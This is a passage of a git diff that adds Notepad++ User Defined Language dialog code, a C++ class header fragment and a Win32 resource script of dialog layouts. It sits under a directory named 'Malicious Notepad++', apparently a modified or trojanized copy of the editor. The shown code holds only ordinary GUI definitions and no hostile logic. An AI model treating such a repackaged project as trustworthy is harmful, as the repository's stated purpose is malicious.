WPARAM wParam, LPARAM lParam); +private : + ControlsTab _ctrlTab; + WindowVector _wVector; + UserLangContainer *_pCurrentUserLang; + FolderStyleDialog _folderStyleDlg; + KeyWordsStyleDialog _keyWordsStyleDlg; + CommentStyleDialog _commentStyleDlg; + SymbolsStyleDialog _symbolsStyleDlg; + bool _status = UNDOCK; + RECT _dlgPos; + int _currentHight = 0; + int _yScrollPos = 0; + int _prevHightVal = 0; + bool _isDirty = false; + void getActualPosSize() { + ::GetWindowRect(_hSelf, &_dlgPos); + _dlgPos.right -= _dlgPos.left; + _dlgPos.bottom -= _dlgPos.top; + }; + void restorePosSize(){reSizeTo(_dlgPos);}; + void enableLangAndControlsBy(size_t index); +protected : + void setKeywords2List(int){}; + void updateDlg(); +}; + +class StringDlg : public StaticDialog +{ +public : + StringDlg() : StaticDialog() {}; + void init(HINSTANCE hInst, HWND parent, TCHAR *title, TCHAR *staticName, TCHAR *text2Set, int txtLen = 0) { + Window::init(hInst, parent); + _title = title; + _static = staticName; + _textValue = text2Set; + _txtLen = txtLen; + }; + + INT_PTR doDialog() { + return ::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_STRING_DLG), _hParent, dlgProc, reinterpret_cast(this)); + }; + + virtual void destroy() {}; + +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM); + +private : + generic_string _title; + generic_string _textValue; + generic_string _static; + int _txtLen = 0; +}; + +class StylerDlg +{ +public: + StylerDlg( HINSTANCE hInst, HWND parent, int stylerIndex = 0, int enabledNesters = -1): + _hInst(hInst), _parent(parent), _stylerIndex(stylerIndex), _enabledNesters(enabledNesters) { + _pFgColour = new ColourPicker; + _pBgColour = new ColourPicker; + _initialStyle = SharedParametersDialog::_pUserLang->_styleArray.getStyler(stylerIndex); + }; + + ~StylerDlg() { + _pFgColour->destroy(); + _pBgColour->destroy(); + delete _pFgColour; + delete _pBgColour; + }; + + long doDialog() { + return long(::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_STYLER_POPUP_DLG), _parent, dlgProc, reinterpret_cast(this))); + }; + + static INT_PTR CALLBACK dlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); +public: + HINSTANCE _hInst; + HWND _parent; + int _stylerIndex; + int _enabledNesters; + ColourPicker * _pFgColour; + ColourPicker * _pBgColour; + Style _initialStyle; +}; diff --git a/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.rc b/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.rc new file mode 100644 index 0000000..711c1f0 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.rc @@ -0,0 +1,309 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef USERDEFINEDIALOG_RC +#define USERDEFINEDIALOG_RC + +#include +#include "UserDefineResource.h" + + +IDD_FOLDER_STYLE_DLG DIALOGEX 36, 44, 466, 415 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + LTEXT "https://ivan-radic.github.io/udl-documentation/",IDC_WEB_HELP_LINK,40,45,160,13 + LTEXT "Temporary doc site:",IDC_WEB_HELP_STATIC,40,31,160,13 + GROUPBOX "Documentation:",IDC_WEB_HELP_DESCGROUP_STATIC,12,14,210,49 + PUSHBUTTON "Styler",IDC_DEFAULT_STYLER,87,94,54,13 + GROUPBOX "Default style:",IDC_DEFAULT_DESCGROUP_STATIC,12,71,210,49 + CONTROL "Fold &compact (fold empty lines too)",IDC_FOLDER_FOLD_COMPACT, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,12,143,152,11 + EDITTEXT IDC_FOLDER_IN_COMMENT_OPEN_EDIT,252,62,190,22,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_FOLDER_IN_COMMENT_MIDDLE_EDIT,252,99,190,22,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_FOLDER_IN_COMMENT_CLOSE_EDIT,252,137,190,22,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_FOLDER_IN_COMMENT_STYLER,252,30,54,13 + LTEXT "Open:",IDC_FOLDER_IN_COMMENT_OPEN_STATIC,252,53,113,8 + LTEXT "Middle:",IDC_FOLDER_IN_COMMENT_MIDDLE_STATIC,252,89,113,9 + LTEXT "Close:",IDC_FOLDER_IN_COMMENT_CLOSE_STATIC,252,126,113,9 + GROUPBOX "Folding in comment style:",IDC_FOLDER_IN_COMMENT_DESCGROUP_STATIC,241,14,210,156,BS_CENTER + EDITTEXT IDC_FOLDER_IN_CODE1_OPEN_EDIT,22,236,190,22,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_FOLDER_IN_CODE1_MIDDLE_EDIT,22,273,190,22,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_FOLDER_IN_CODE1_CLOSE_EDIT,22,311,190,22,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_FOLDER_IN_CODE1_STYLER,22,203,54,13 + LTEXT "Open:",IDC_FOLDER_IN_CODE1_OPEN_STATIC,23,224,113,9 + LTEXT "Middle:",IDC_FOLDER_IN_CODE1_MIDDLE_STATIC,23,262,113,9 + LTEXT "Close:",IDC_FOLDER_IN_CODE1_CLOSE_STATIC,23,299,113,9 + GROUPBOX "Folding in code 1 style:",IDC_FOLDER_IN_CODE1_DESCGROUP_STATIC,12,186,210,156,BS_CENTER + EDITTEXT IDC_FOLDER_IN_CODE2_OPEN_EDIT,253,236,190,22,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_FOLDER_IN_CODE2_MIDDLE_EDIT,253,273,190,22,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_FOLDER_IN_CODE2_CLOSE_EDIT,253,311,190,22,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_FOLDER_IN_CODE2_STYLER,253,202,54,13 + LTEXT "Open:",IDC_FOLDER_IN_CODE2_OPEN_STATIC,253,224,113,9 + LTEXT "Middle:",IDC_FOLDER_IN_CODE2_MIDDLE_STATIC,253,261,113,9 + LTEXT "Close:",IDC_FOLDER_IN_CODE2_CLOSE_STATIC,253,298,113,9 + GROUPBOX "Folding in code 2 style (separators needed):",IDC_FOLDER_IN_CODE2_DESCGROUP_STATIC,242,186,210,156,BS_CENTER +END + +IDD_SYMBOL_STYLE_DLG DIALOGEX 36, 44, 466, 415 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + EDITTEXT IDC_OPERATOR1_EDIT,15,31,205,19,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_OPERATOR2_EDIT,247,31,206,19,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_OPERATOR_STYLER,14,12,54,13 + GROUPBOX "Operators style",IDC_OPERATOR_DESCGROUP_STATIC,8,3,451,55,BS_CENTER + RTEXT "Operators 1",IDC_OPERATOR1_STATIC,142,20,75,10,0,WS_EX_RIGHT + RTEXT "Operators 2 (separators required)",IDC_OPERATOR2_STATIC,328,20,124,10,0,WS_EX_RIGHT + EDITTEXT IDC_DELIMITER1_BOUNDARYOPEN_EDIT,72,88,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER1_ESCAPE_EDIT,72,108,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER1_BOUNDARYCLOSE_EDIT,72,126,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER1_STYLER,162,71,54,13 + RTEXT "Open: ",IDC_DELIMITER1_BOUNDARYOPEN_STATIC,12,90,56,8 + RTEXT "Escape: ",IDC_DELIMITER1_ESCAPE_STATIC,12,109,56,8 + RTEXT "Close: ",IDC_DELIMITER1_BOUNDARYCLOSE_STATIC,12,127,56,8 + GROUPBOX "Delimiter 1 style",IDC_DELIMITER1_DESCGROUP_STATIC,8,63,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER2_BOUNDARYOPEN_EDIT,309,88,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER2_ESCAPE_EDIT,309,107,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER2_BOUNDARYCLOSE_EDIT,309,125,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER2_STYLER,399,71,54,13 + RTEXT "Open: ",IDC_DELIMITER2_BOUNDARYOPEN_STATIC,251,90,56,8 + RTEXT "Escape: ",IDC_DELIMITER2_ESCAPE_STATIC,251,109,56,8 + RTEXT "Close: ",IDC_DELIMITER2_BOUNDARYCLOSE_STATIC,251,127,56,8 + GROUPBOX "Delimiter 2 style",IDC_DELIMITER2_DESCGROUP_STATIC,245,63,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER3_BOUNDARYOPEN_EDIT,72,174,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER3_ESCAPE_EDIT,72,193,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER3_BOUNDARYCLOSE_EDIT,72,212,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER3_STYLER,162,156,54,13 + RTEXT "Open: ",IDC_DELIMITER3_BOUNDARYOPEN_STATIC,12,176,56,8 + RTEXT "Escape: ",IDC_DELIMITER3_ESCAPE_STATIC,12,195,56,8 + RTEXT "Close: ",IDC_DELIMITER3_BOUNDARYCLOSE_STATIC,12,214,56,8 + GROUPBOX "Delimiter 3 style",IDC_DELIMITER3_DESCGROUP_STATIC,8,148,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER4_BOUNDARYOPEN_EDIT,309,174,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER4_ESCAPE_EDIT,309,193,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER4_BOUNDARYCLOSE_EDIT,309,212,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER4_STYLER,399,156,54,13 + RTEXT "Open: ",IDC_DELIMITER4_BOUNDARYOPEN_STATIC,251,176,56,8 + RTEXT "Escape: ",IDC_DELIMITER4_ESCAPE_STATIC,251,195,56,8 + RTEXT "Close: ",IDC_DELIMITER4_BOUNDARYCLOSE_STATIC,251,214,56,8 + GROUPBOX "Delimiter 4 style",IDC_DELIMITER4_DESCGROUP_STATIC,245,148,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER5_BOUNDARYOPEN_EDIT,72,259,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER5_ESCAPE_EDIT,72,278,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER5_BOUNDARYCLOSE_EDIT,72,298,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER5_STYLER,162,242,54,13 + RTEXT "Open: ",IDC_DELIMITER5_BOUNDARYOPEN_STATIC,12,260,56,8 + RTEXT "Escape: ",IDC_DELIMITER5_ESCAPE_STATIC,12,279,56,8 + RTEXT "Close: ",IDC_DELIMITER5_BOUNDARYCLOSE_STATIC,12,299,56,8 + GROUPBOX "Delimiter 5 style",IDC_DELIMITER5_DESCGROUP_STATIC,8,234,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER6_BOUNDARYOPEN_EDIT,309,259,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER6_ESCAPE_EDIT,309,278,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER6_BOUNDARYCLOSE_EDIT,309,297,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER6_STYLER,399,242,54,13 + RTEXT "Open: ",IDC_DELIMITER6_BOUNDARYOPEN_STATIC,251,261,56,8 + RTEXT "Escape: ",IDC_DELIMITER6_ESCAPE_STATIC,251,280,56,8 + RTEXT "Close: ",IDC_DELIMITER6_BOUNDARYCLOSE_STATIC,251,299,56,8 + GROUPBOX "Delimiter 6 style",IDC_DELIMITER6_DESCGROUP_STATIC,245,234,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER7_BOUNDARYOPEN_EDIT,72,345,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER7_ESCAPE_EDIT,72,364,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER7_BOUNDARYCLOSE_EDIT,72,383,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER7_STYLER,162,328,54,13 + RTEXT "Open: ",IDC_DELIMITER7_BOUNDARYOPEN_STATIC,251,347,56,8 + RTEXT "Escape: ",IDC_DELIMITER7_ESCAPE_STATIC,251,365,56,8 + RTEXT "Close: ",IDC_DELIMITER7_BOUNDARYCLOSE_STATIC,251,384,56,8 + GROUPBOX "Delimiter 7 style",IDC_DELIMITER7_DESCGROUP_STATIC,8,320,212,82,BS_LEFT + EDITTEXT IDC_DELIMITER8_BOUNDARYOPEN_EDIT,309,345,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER8_ESCAPE_EDIT,309,364,144,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_DELIMITER8_BOUNDARYCLOSE_EDIT,309,383,144,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_DELIMITER8_STYLER,399,328,54,13 + RTEXT "Open: ",IDC_DELIMITER8_BOUNDARYOPEN_STATIC,12,346,56,8 + RTEXT "Escape: ",IDC_DELIMITER8_ESCAPE_STATIC,12,365,56,8 + RTEXT "Close: ",IDC_DELIMITER8_BOUNDARYCLOSE_STATIC,12,385,56,8 + GROUPBOX "Delimiter 8 style",IDC_DELIMITER8_DESCGROUP_STATIC,245,320,212,82,BS_LEFT +END + +IDD_KEYWORD_STYLE_DLG DIALOGEX 36, 44, 466, 415 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + EDITTEXT IDC_KEYWORD1_EDIT,19,44,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "1st group",IDC_KEYWORD1_DESCGROUP_STATIC,9,17,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD1_STYLER,19,27,53,13 + CONTROL "Prefix mode",IDC_KEYWORD1_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,89,31,68,13 + EDITTEXT IDC_KEYWORD2_EDIT,262,44,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "2nd group",IDC_KEYWORD2_DESCGROUP_STATIC,252,17,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD2_STYLER,262,26,53,13 + CONTROL "Prefix mode",IDC_KEYWORD2_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,332,31,68,13 + EDITTEXT IDC_KEYWORD3_EDIT,19,138,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "3rd group",IDC_KEYWORD3_DESCGROUP_STATIC,10,111,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD3_STYLER,19,120,53,13 + CONTROL "Prefix mode",IDC_KEYWORD3_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,89,125,68,13 + EDITTEXT IDC_KEYWORD4_EDIT,262,138,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "4th group",IDC_KEYWORD4_DESCGROUP_STATIC,252,111,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD4_STYLER,262,120,53,13 + CONTROL "Prefix mode",IDC_KEYWORD4_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,332,125,68,13 + EDITTEXT IDC_KEYWORD5_EDIT,19,233,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "5th group",IDC_KEYWORD5_DESCGROUP_STATIC,10,206,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD5_STYLER,19,215,53,13 + CONTROL "Prefix mode",IDC_KEYWORD5_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,89,220,68,13 + EDITTEXT IDC_KEYWORD6_EDIT,262,233,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "6th group",IDC_KEYWORD6_DESCGROUP_STATIC,252,206,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD6_STYLER,262,215,53,13 + CONTROL "Prefix mode",IDC_KEYWORD6_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,332,220,68,13 + EDITTEXT IDC_KEYWORD7_EDIT,19,329,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "7th group",IDC_KEYWORD7_DESCGROUP_STATIC,10,302,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD7_STYLER,19,311,53,13 + CONTROL "Prefix mode",IDC_KEYWORD7_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,89,315,72,13 + EDITTEXT IDC_KEYWORD8_EDIT,262,329,180,50,ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL + GROUPBOX "8th group",IDC_KEYWORD8_DESCGROUP_STATIC,252,302,200,85,BS_CENTER + PUSHBUTTON "Styler",IDC_KEYWORD8_STYLER,262,311,53,13 + CONTROL "Prefix mode",IDC_KEYWORD8_PREFIX_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,332,315,72,13 +END + +IDD_COMMENT_STYLE_DLG DIALOGEX 36, 44, 466, 415 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + GROUPBOX "Line comment position",IDC_COMMENTLINE_POSITION_STATIC,11,7,156,57 + CONTROL "Allow folding of comments",IDC_FOLDING_OF_COMMENTS, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,188,14,131,8 + CONTROL "Allow anywhere",IDC_ALLOW_ANYWHERE,"Button",BS_AUTORADIOBUTTON | WS_GROUP,33,22,121,8 + CONTROL "Force at beginning of line",IDC_FORCE_AT_BOL,"Button",BS_AUTORADIOBUTTON,33,34,121,8 + CONTROL "Allow preceeding whitespace",IDC_ALLOW_WHITESPACE, + "Button",BS_AUTORADIOBUTTON,33,46,121,8 + EDITTEXT IDC_COMMENTLINE_OPEN_EDIT,85,105,138,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_COMMENTLINE_CONTINUE_EDIT,85,124,138,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_COMMENTLINE_CLOSE_EDIT,85,144,138,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_COMMENTLINE_STYLER,169,85,54,13 + RTEXT "Open:",IDC_COMMENTLINE_OPEN_STATIC,12,105,71,9 + RTEXT "Continue character:",IDC_COMMENTLINE_CONTINUE_STATIC,12,126,71,9 + RTEXT "Close:",IDC_COMMENTLINE_CLOSE_STATIC,12,145,71,9 + GROUPBOX "Comment line style",IDC_COMMENTLINE_DESCGROUP_STATIC,10,71,219,94,BS_CENTER + EDITTEXT IDC_COMMENT_OPEN_EDIT,312,112,138,12,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_COMMENT_CLOSE_EDIT,312,140,138,12,ES_MULTILINE | WS_VSCROLL + PUSHBUTTON "Styler",IDC_COMMENT_STYLER,396,85,54,13 + RTEXT "Open:",IDC_COMMENT_OPEN_STATIC,242,113,67,9 + RTEXT "Close:",IDC_COMMENT_CLOSE_STATIC,242,141,68,9 + GROUPBOX "Comment style",IDC_COMMENT_DESCGROUP_STATIC,238,71,219,94,BS_CENTER + GROUPBOX "Number style",IDC_NUMBER_DESCGROUP_STATIC,10,174,447,190,BS_CENTER + PUSHBUTTON "Styler",IDC_NUMBER_STYLER,376,185,54,13 + RTEXT "Prefix 1:",IDC_NUMBER_PREFIX1_STATIC,14,204,45,13 + RTEXT "Prefix 2:",IDC_NUMBER_PREFIX2_STATIC,245,204,45,13 + RTEXT "Extras 1:",IDC_NUMBER_EXTRAS1_STATIC,14,235,45,13 + RTEXT "Extras 2:",IDC_NUMBER_EXTRAS2_STATIC,245,235,45,13 + RTEXT "Suffix 1:",IDC_NUMBER_SUFFIX1_STATIC,14,266,45,13 + RTEXT "Suffix 2:",IDC_NUMBER_SUFFIX2_STATIC,245,266,45,13 + RTEXT "Range: ",IDC_NUMBER_RANGE_STATIC,14,298,45,13 + EDITTEXT IDC_NUMBER_PREFIX1_EDIT,63,204,136,21,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_NUMBER_PREFIX2_EDIT,294,204,136,21,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_NUMBER_EXTRAS1_EDIT,63,235,136,21,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_NUMBER_EXTRAS2_EDIT,295,235,136,21,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_NUMBER_SUFFIX1_EDIT,63,266,136,21,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_NUMBER_SUFFIX2_EDIT,295,266,136,21,ES_MULTILINE | WS_VSCROLL + EDITTEXT IDC_NUMBER_RANGE_EDIT,63,298,136,21,ES_MULTILINE | WS_VSCROLL + GROUPBOX "Decimal separator",IDC_DECIMAL_SEPARATOR_STATIC,295,299,136,53,BS_CENTER + CONTROL "Dot",IDC_DOT_RADIO,"Button",BS_AUTORADIOBUTTON | WS_GROUP,319,310,59,8 + CONTROL "Comma",IDC_COMMA_RADIO,"Button",BS_AUTORADIOBUTTON,319,322,59,8 + CONTROL "Both",IDC_BOTH_RADIO,"Button",BS_AUTORADIOBUTTON,319,335,59,8 +END + +IDD_GLOBAL_USERDEFINE_DLG DIALOGEX 36, 44, 490, 470 +STYLE DS_SETFONT | DS_MODALFRAME | DS_3DLOOK | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_VSCROLL | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "User Defined Language v2.1" +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + LTEXT "User language : ",IDC_LANGNAME_STATIC,0,3,63,8,0,WS_EX_RIGHT + COMBOBOX IDC_LANGNAME_COMBO,64,1,90,58,CBS_DROPDOWNLIST | CBS_AUTOHSCROLL | WS_VSCROLL | WS_TABSTOP + CONTROL "Transparency",IDC_UD_TRANSPARENT_CHECK,"Button",BS_AUTOCHECKBOX | NOT WS_VISIBLE | WS_TABSTOP,408,22,66,10 + CONTROL "",IDC_UD_PERCENTAGE_SLIDER,"msctls_trackbar32",TBS_BOTH | TBS_NOTICKS | NOT WS_VISIBLE | WS_TABSTOP,422,33,53,10 + PUSHBUTTON "Dock",IDC_DOCK_BUTTON,425,1,50,14,BS_FLAT + PUSHBUTTON "Create New...",IDC_ADDNEW_BUTTON,161,1,62,14 + PUSHBUTTON "Save As...",IDC_SAVEAS_BUTTON,226,1,62,14 + CONTROL "Ignore case",IDC_LANGNAME_IGNORECASE_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,186,24,76,10 + RTEXT "Ext. :",IDC_EXT_STATIC,259,25,33,8,0,WS_EX_RIGHT + EDITTEXT IDC_EXT_EDIT,293,23,33,14,ES_AUTOHSCROLL + PUSHBUTTON "Import...",IDC_IMPORT_BUTTON,23,21,62,14 + PUSHBUTTON "Export...",IDC_EXPORT_BUTTON,93,21,62,14 + PUSHBUTTON "Rename",IDC_RENAME_BUTTON,290,1,62,14 + PUSHBUTTON "Remove",IDC_REMOVELANG_BUTTON,354,1,62,14 +END + +IDD_STRING_DLG DIALOGEX 0, 0, 151, 52 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + LTEXT "STATIC :",IDC_STRING_STATIC,6,4,42,8,0,WS_EX_RIGHT + EDITTEXT IDC_STRING_EDIT,49,2,88,14 + PUSHBUTTON "OK",IDOK,20,26,50,14 + PUSHBUTTON "Cancel",IDCANCEL,87,26,50,14 +END + +IDD_STYLER_POPUP_DLG DIALOGEX 100, 50, 324, 305 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION +CAPTION "Styler Dialog" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + DEFPUSHBUTTON "OK",IDOK,100,280,50,14 + PUSHBUTTON "Cancel",IDCANCEL,172,280,50,14 + CONTROL "Bold",IDC_STYLER_CHECK_BOLD,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,201,31,90,13 + CONTROL "Italic",IDC_STYLER_CHECK_ITALIC,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,201,45,90,13 + CONTROL "Underline",IDC_STYLER_CHECK_UNDERLINE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,201,59,90,13 + COMBOBOX IDC_STYLER_COMBO_FONT_NAME,65,32,104,80,CBS_DROPDOWN | CBS_SORT | WS_VSCROLL | WS_TABSTOP + COMBOBOX IDC_STYLER_COMBO_FONT_SIZE,65,53,104,77,CBS_DROPDOWN | WS_VSCROLL | WS_TABSTOP + RTEXT "Foreground color:",IDC_STYLER_FG_STATIC,14,85,75,11 + RTEXT "Background color:",IDC_STYLER_BG_STATIC,153,86,75,11 + CONTROL "Delimiter 1",IDC_STYLER_CHECK_NESTING_DELIMITER1,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,132,76,13 + CONTROL "Delimiter 2",IDC_STYLER_CHECK_NESTING_DELIMITER2,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,149,76,13 + CONTROL "Delimiter 3",IDC_STYLER_CHECK_NESTING_DELIMITER3,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,166,76,13 + CONTROL "Comment",IDC_STYLER_CHECK_NESTING_COMMENT,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,209,132,76,13 + CONTROL "Comment line",IDC_STYLER_CHECK_NESTING_COMMENT_LINE, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,209,149,76,13 + CONTROL "Keyword 1",IDC_STYLER_CHECK_NESTING_KEYWORD1,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,132,76,13 + CONTROL "Keyword 2",IDC_STYLER_CHECK_NESTING_KEYWORD2,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,149,76,13 + CONTROL "Keyword 3",IDC_STYLER_CHECK_NESTING_KEYWORD3,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,166,76,13 + CONTROL "Keyword 4",IDC_STYLER_CHECK_NESTING_KEYWORD4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,183,76,13 + GROUPBOX "Nesting:",IDC_STYLER_STATIC_NESTING_GROUP,14,116,295,157 + GROUPBOX "Font options:",IDC_STYLER_STATIC_FONT_OPTIONS,14,15,295,95 + CONTROL "Delimiter 4",IDC_STYLER_CHECK_NESTING_DELIMITER4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,183,76,13 + CONTROL "Delimiter 5",IDC_STYLER_CHECK_NESTING_DELIMITER5,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,200,76,13 + CONTROL "Delimiter 6",IDC_STYLER_CHECK_NESTING_DELIMITER6,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,217,76,13 + CONTROL "Delimiter 7",IDC_STYLER_CHECK_NESTING_DELIMITER7,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,234,76,13 + CONTROL "Delimiter 8",IDC_STYLER_CHECK_NESTING_DELIMITER8,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,38,251,76,13 + CONTROL "Keyword 5",IDC_STYLER_CHECK_NESTING_KEYWORD5,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,200,76,13 + CONTROL "Keyword 6",IDC_STYLER_CHECK_NESTING_KEYWORD6,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,217,76,13 + CONTROL "Keyword 7",IDC_STYLER_CHECK_NESTING_KEYWORD7,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,119,234,76,13 + CONTROL "Keyword 8",IDC_STYLER_CHECK_NESTING_KEYWORD8,"Button",BS_AUTOCHECKBOX | 